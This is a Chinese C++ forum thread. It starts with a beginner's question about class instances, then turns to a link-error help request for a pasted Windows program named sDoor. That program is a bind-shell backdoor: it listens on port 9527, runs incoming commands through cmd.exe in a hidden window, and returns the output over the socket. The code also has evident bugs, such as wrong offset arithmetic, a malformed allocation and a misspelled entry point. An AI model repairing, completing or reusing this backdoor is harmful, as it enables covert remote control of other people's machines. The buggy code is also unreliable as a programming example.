VC驿站

 找回密码
 加入驿站

QQ登录

只需一步,快速开始

搜索
查看: 337|回复: 11

[已解决]类的public那一讲中发现的问题

[复制链接]
99_avatar_middle
最佳答案
0 
在线会员 发表于 2021-9-7 16:10:17 | 显示全部楼层 |阅读模式
class CNumber
{
  int get_max_number(int a,int b){return a>b?a:b};
public:
  int get_max(int a, int b, intc)
{int ab = get_max_number(a,b);return ab>c?ab:c}
}

int main(int arqc,char* arqv[])
{
CNumber number;
cout<<number.get_max(2,5,8);
return 0;
}


我想问一下  倒数第四行的 number 是什么意思
最佳答案
75_avatar_small
2021-9-7 19:08:17
你试着把main中的那个你定义的对象删除 然后问问自己用什么去访问该类的成员方法!




上一篇:运行程序时出错,不知道怎么设置,求助大侠!!
下一篇:新手自学QT5.1.2 一个星期后,遇到新问题,再来求助。
99_avatar_middle
最佳答案
0 
ico_lz  楼主| 发表于 2021-9-7 16:16:05 | 显示全部楼层
是类的实例化对象
75_avatar_middle
最佳答案
21 
online_supermod 发表于 2021-9-7 19:08:17 | 显示全部楼层    本楼为最佳答案   
bestAnswer
你试着把main中的那个你定义的对象删除 然后问问自己用什么去访问该类的成员方法!
99_avatar_middle
最佳答案
0 
ico_lz  楼主| 发表于 2021-9-8 11:49:36 | 显示全部楼层
wl1383838438 发表于 2021-9-7 19:08
你试着把main中的那个你定义的对象删除 然后问问自己用什么去访问该类的成员方法!

这个问题  我回去研究研究
我之前那几个问题好像都解决了  结果链接又有问题
新人没办法私信你  只能这样了
75_avatar_middle
最佳答案
21 
online_supermod 发表于 2021-9-8 20:59:54 | 显示全部楼层
你把代码贴出来
99_avatar_middle
最佳答案
0 
ico_lz  楼主| 发表于 2021-9-11 13:11:29 | 显示全部楼层

这就是全部的cpp了


#include "sDoor.h"

BOOL SocketInit()
{
        WSADATA wsaData = { 0 };
        if (WSAStartup(MAKEWORD(2, 2), &wsaData) == NO_ERROR)
        { return TRUE; }
        else{ return FALSE; }
}
int SendData(SOCKET m_sock, void*pBuf, DWORD dwBufLen)
{
        if (m_sock==INVALID_SOCKET||!pBuf||dwBufLen<=0)
        {
                return -1;
        }
        int iCurrSend = 0, offset = 0;
                do{
                        iCurrSend = send(m_sock, (char*)pBuf + offset, dwBufLen, 0);
                        if (iCurrSend<=0)
                        {
                                break;
                        }
                        dwBufLen -= iCurrSend;
                        offset -= iCurrSend;
                } while (dwBufLen > 0);
                return offset;
}
BOOL bExit = FALSE;
#define RECV_BUF_LEN 4096
#define CMD_BUF_LEN 500
DWORD WINAPI ThreadOutputProc(LPVOID lpParam)
{
        CThreadNode tNode = *(CThreadNode*)lpParam;
        char szBuf[RECV_BUF_LEN] = { 0 };
        DWORD dwReadLen = 0, dwTotalAvail = 0;
        BOOL bRet = FALSE;
        while (!bExit){
                dwTotalAvail = 0;
                bRet = PeekNamedPipe(tNode.hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
                if (bRet&&dwTotalAvail>0)
                {
                        bRet = ReadFile(tNode.hPipe, szBuf, RECV_BUF_LEN, &dwReadLen, NULL);
                        if (bRet&&dwReadLen>0)
                        {
                                SendData(tNode.m_Sock, szBuf, dwReadLen);
                        }Sleep(50);
                }
        }return TRUE;
        }
void CheckBackKey(LPSTR lpszBuf, size_t iBufSize)
{
        if (!lpszBuf||iBufSize<=0)
        {
                return;
        }
        unsigned char iBufLen = _tcslen(lpszBuf);
        iBufLen = (iBufLen > iBufSize) ? iBufSize : iBufLen;
        TCHAR*pszBuf = new TCHAR{ iBufLen + 1 };
        ZeroMemory(pszBuf, iBufLen + 1);
                for (size_t idx = 0, jdx = 0; idx < iBufLen; idx++){
                        if (lpszBuf[idx] != VK_BACK&&lpszBuf[idx] != 0){
                                pszBuf[idx++] = lpszBuf[idx];
                        }
                        else if (lpszBuf[idx] == VK_BACK){
                                jdx--;
                        }
                }
        ZeroMemory((void*)lpszBuf, iBufSize);
        _tcscpy_s(lpszBuf, iBufSize, pszBuf);
        delete[]pszBuf;
}

        BOOL StartShell(UINT uPort)

{
        if (!SocketInit())
        {
                return FALSE;
        }
        SOCKET m_ListenSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (m_ListenSock == INVALID_SOCKET)
        {
                return FALSE;
        }
        sockaddr_in sServer = { 0 };
        sServer.sin_family = AF_INET;
        sServer.sin_addr.s_addr = htonl(INADDR_ANY);
        sServer.sin_port = htons(uPort);
        if (bind(m_ListenSock, (sockaddr*)&sServer, sizeof(sServer)) == SOCKET_ERROR){
                return FALSE;
        }
        if (listen(m_ListenSock, 5) == SOCKET_ERROR){
                return FALSE;
        }
       
        SOCKET m_AcceptSock = accept(m_ListenSock, NULL, NULL);
        if (m_AcceptSock == INVALID_SOCKET){ return FALSE; }
        int iRecved = 0;
        BOOL bRet = FALSE;
        DWORD dwTotalAvail = 0, dwReadLen = 0, dwThreadID = 0;
        TCHAR szCmdLine[CMD_BUF_LEN] = { 0 }, szBuf[RECV_BUF_LEN] = { 0 }, szCmdBuf[CMD_BUF_LEN] = { 0 };
        SECURITY_ATTRIBUTES sa = { 0 };
        HANDLE hReadPipe = NULL, hWritePipe = NULL;
        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor = NULL;
        sa.bInheritHandle = TRUE;
        if (!CreatePipe(&hReadPipe,&hWritePipe,&sa,0))
        {
                return FALSE;
        }
        PROCESS_INFORMATION pi = { 0 };
        STARTUPINFO si = { 0 };
        si.cb = sizeof(STARTUPINFO);
        GetStartupInfo(&si);
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        si.hStdOutput = si.hStdError = hWritePipe;
        si.wShowWindow = SW_HIDE;
        CThreadNode m_ReadNode;
        m_ReadNode.m_Sock = m_AcceptSock;
        m_ReadNode.hPipe = hReadPipe;
        HANDLE hTheead = CreateThread(NULL, 0, ThreadOutputProc, &m_ReadNode, 0, &dwThreadID);
        while (TRUE){
                ZeroMemory(szBuf, RECV_BUF_LEN);
                iRecved = recv(m_AcceptSock, szBuf, RECV_BUF_LEN, 0);
                if (iRecved>0&&iRecved!=SOCKET_ERROR)
                {
                        _tcscat_s(szCmdBuf, CMD_BUF_LEN, szBuf);
                        if (_tcsstr(szCmdBuf, _T("\r\n")))
                        {
                                CheckBackKey(szCmdLine, RECV_BUF_LEN);
                                ZeroMemory(szCmdLine, CMD_BUF_LEN);
                                GetSystemDirectory(szCmdLine, CMD_BUF_LEN);
                                _tcscat_s(szCmdLine, CMD_BUF_LEN, _T("\\cmd.exe/c"));
                                _tcsncat_s(szCmdLine, CMD_BUF_LEN, szCmdBuf, _tcslen(szCmdBuf) - sizeof(_T("\r\n")) + 1);
                                if (!CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)){
                                        continue;
                                }
                                else
                                {
                                        ZeroMemory(szCmdBuf, CMD_BUF_LEN);
                                }
                        }
                }
                else
                {
                        closesocket(m_AcceptSock);
                        bExit = TRUE;
                        WaitForSingleObject(hTheead, INFINITE);
                        break;
                }Sleep(100);
        }
       
}
int APIENTRY_tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)

{
        StartShell(9527);
        return 0;
}
99_avatar_middle
最佳答案
0 
ico_lz  楼主| 发表于 2021-9-11 13:13:18 | 显示全部楼层

这就是全部的.h了


#pragma once
#pragma comment(lib)

#ifndef WINVER
#define WINVER 0x0600
#endif

#ifndef _WIN32_WINNT
#define _WIN32_WINNT 0x0600
#endif

#ifndef _WIN32_WINDOWS
#define _WIN32_WINDOWS 0x0410
#endif

#ifndef _WIN32
#define _WIN32_IE0x0700
#endif

#define WIN32_LEAN_AND_MEAN
#include<windows.h>

#include<winsock2.h>
#pragma comment(lib,"ws2_32.lib")

#include<stdlib.h>
#include<malloc.h>
#include<memory.h>
#include<tchar.h>

class CThreadNode{
public:SOCKET m_Sock;
           HANDLE hPipe;
           CThreadNode(){ m_Sock = INVALID_SOCKET; hPipe = NULL; }
};
99_avatar_middle
最佳答案
0 
ico_lz  楼主| 发表于 2021-9-11 13:14:43 | 显示全部楼层

报链接错误   我水平不行
本来我想再从头看一遍视频的  看看能不能学会解决
75_avatar_middle
最佳答案
21 
online_supermod 发表于 2021-9-12 10:22:34 | 显示全部楼层
tongkua 发表于 2021-9-11 13:14
报链接错误   我水平不行
本来我想再从头看一遍视频的  看看能不能学会解决

类的public那一讲中发现的问题


你把这个头文件也给我
99_avatar_middle
最佳答案
0 
ico_lz  楼主| 发表于 2021-9-13 09:15:24 | 显示全部楼层
wl1383838438 发表于 2021-9-12 10:22
你把这个头文件也给我

头文件是上面的.h
99_avatar_middle
最佳答案
0 
ico_lz  楼主| 发表于 2021-9-13 09:16:39 | 显示全部楼层
wl1383838438 发表于 2021-9-12 10:22
你把这个头文件也给我

这就是头文件啊


#pragma once
#pragma comment(lib)

#ifndef WINVER
#define WINVER 0x0600
#endif

#ifndef _WIN32_WINNT
#define _WIN32_WINNT 0x0600
#endif

#ifndef _WIN32_WINDOWS
#define _WIN32_WINDOWS 0x0410
#endif

#ifndef _WIN32
#define _WIN32_IE0x0700
#endif

#define WIN32_LEAN_AND_MEAN
#include<windows.h>

#include<winsock2.h>
#pragma comment(lib,"ws2_32.lib")

#include<stdlib.h>
#include<malloc.h>
#include<memory.h>
#include<tchar.h>

class CThreadNode{
public:SOCKET m_Sock;
           HANDLE hPipe;
           CThreadNode(){ m_Sock = INVALID_SOCKET; hPipe = NULL; }
};
99_avatar_middle
最佳答案
0 
ico_lz  楼主| 发表于 2021-9-14 11:17:09 | 显示全部楼层
wl1383838438 发表于 2021-9-12 10:22
你把这个头文件也给我

新建一个.h文件  命名为sDoor.h就可以啦   再把代码复制进去就行了呀
您需要登录后才可以回帖 登录 | 加入驿站 qq_login

本版积分规则

×【发帖 友情提示】
1、请回复有意义的内容,请勿恶意灌水;
2、纯数字、字母、表情等无意义的内容系统将自动删除;
3、若正常回复后帖子被自动删除,为系统误删的情况,请重新回复其他正常内容或等待管理员审核通过后会自动发布;
4、感谢您对VC驿站一如既往的支持,谢谢合作!

关闭

站长提醒上一条 /2 下一条

QQ|小黑屋|手机版|VC驿站 ( 辽ICP备09019393号-4 )|网站地图wx_jqr

GMT+8, 2021-9-27 06:30

Powered by CcTry.CoM

© 2009-2021 cctry.com

快速回复 返回顶部 返回列表